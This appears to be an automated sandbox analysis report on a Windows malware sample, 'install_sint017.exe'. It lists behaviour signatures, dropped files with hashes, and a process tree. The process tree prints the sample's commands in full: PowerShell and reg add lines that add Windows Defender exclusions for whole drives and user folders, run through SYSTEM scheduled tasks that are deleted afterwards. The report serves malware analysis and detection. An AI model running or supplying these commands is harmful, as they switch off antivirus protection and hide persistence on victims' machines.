Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 02:00

General

  • Target
    install_sint017.exe
  • Size 40.7MB
  • Sample260814-cfe4tsswex
  • SHA256 4b92d6cbe103012c3d1786c53751d87144ee0a838dad1e22b099e0d748a6165b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint017.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint017.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4112
  • C:\Users\Public\UuBgwt\8i8kM9.exe
    "C:\Users\Public\UuBgwt\8i8kM9.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5136
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UuBgwt\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2920
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UuBgwt\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1980
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1644
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1520
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5408
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3636
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2848
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4620
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6028
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:772
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2132
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1808
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5752
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3732
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1100
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4520
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4344
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4272
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1640
                      • C:\Users\Public\UuBgwt\8i8kM9.exe
                        "C:\Users\Public\UuBgwt\8i8kM9.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4408
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UuBgwt" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:6120
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UuBgwt" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:4448
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4608
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3220
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4736
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5844
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:4196
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4496
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:3092

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  8i8kM9.exe

                                  • Path C:\Users\Public\UuBgwt\8i8kM9.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\UuBgwt\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 7d24e4fc9186f7f28ce94f16db8c6173cf15b76907d99224132059090c8ab24c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\UuBgwt\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 7bef74b907b41b8d5770d6c57d99c914a49977d70935f0a1cdb7c3ffd349e8ff
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\UuBgwt\msadox.tb
                                  • Size 8KB
                                  • SHA256 9e5908fc197e182b11e1e3874706f0a36d8d4695a01dd994602b457efb72a4bc
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1176-557-0x0000022E47F20000-0x0000022E47FAA000-memory.dmp

                                  memory/1176-560-0x0000022E47F20000-0x0000022E47FAA000-memory.dmp

                                  memory/1176-566-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-565-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-530-0x00007FF8C2330000-0x00007FF8C2332000-memory.dmp

                                  memory/1176-556-0x0000022E46BE0000-0x0000022E46C2E000-memory.dmp

                                  memory/1176-563-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-531-0x00007FF8A09F0000-0x00007FF8A0F0E000-memory.dmp

                                  memory/1176-536-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-538-0x00007FF8C2340000-0x00007FF8C2342000-memory.dmp

                                  memory/1176-539-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-543-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-544-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-545-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-546-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-550-0x0000022E47680000-0x0000022E47F11000-memory.dmp

                                  memory/1176-558-0x0000022E47F20000-0x0000022E47FAA000-memory.dmp

                                  memory/1176-561-0x0000022E47F20000-0x0000022E47FAA000-memory.dmp

                                  memory/4112-525-0x00007FF8B3D80000-0x00007FF8B3D92000-memory.dmp

                                  memory/4112-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                  memory/4112-1-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                  memory/4112-2-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                  memory/4112-504-0x00007FF8B3D80000-0x00007FF8B3D92000-memory.dmp

                                  memory/4112-524-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                  memory/4408-583-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/4408-578-0x00007FF8C2340000-0x00007FF8C2342000-memory.dmp

                                  memory/4408-573-0x00007FF8A09F0000-0x00007FF8A0F0E000-memory.dmp

                                  memory/4408-576-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/4408-586-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/4408-579-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/4408-585-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/4408-587-0x00007FF8C2330000-0x00007FF8C2332000-memory.dmp

                                  memory/4408-584-0x000002AF2F020000-0x000002AF2F8B1000-memory.dmp

                                  memory/5136-593-0x000002C23C2E0000-0x000002C23C302000-memory.dmp

                                  memory/5136-597-0x000002C23C340000-0x000002C23C35E000-memory.dmp

                                  memory/5136-598-0x000002C23C620000-0x000002C23C6D2000-memory.dmp

                                  memory/5136-599-0x000002C23C360000-0x000002C23C36A000-memory.dmp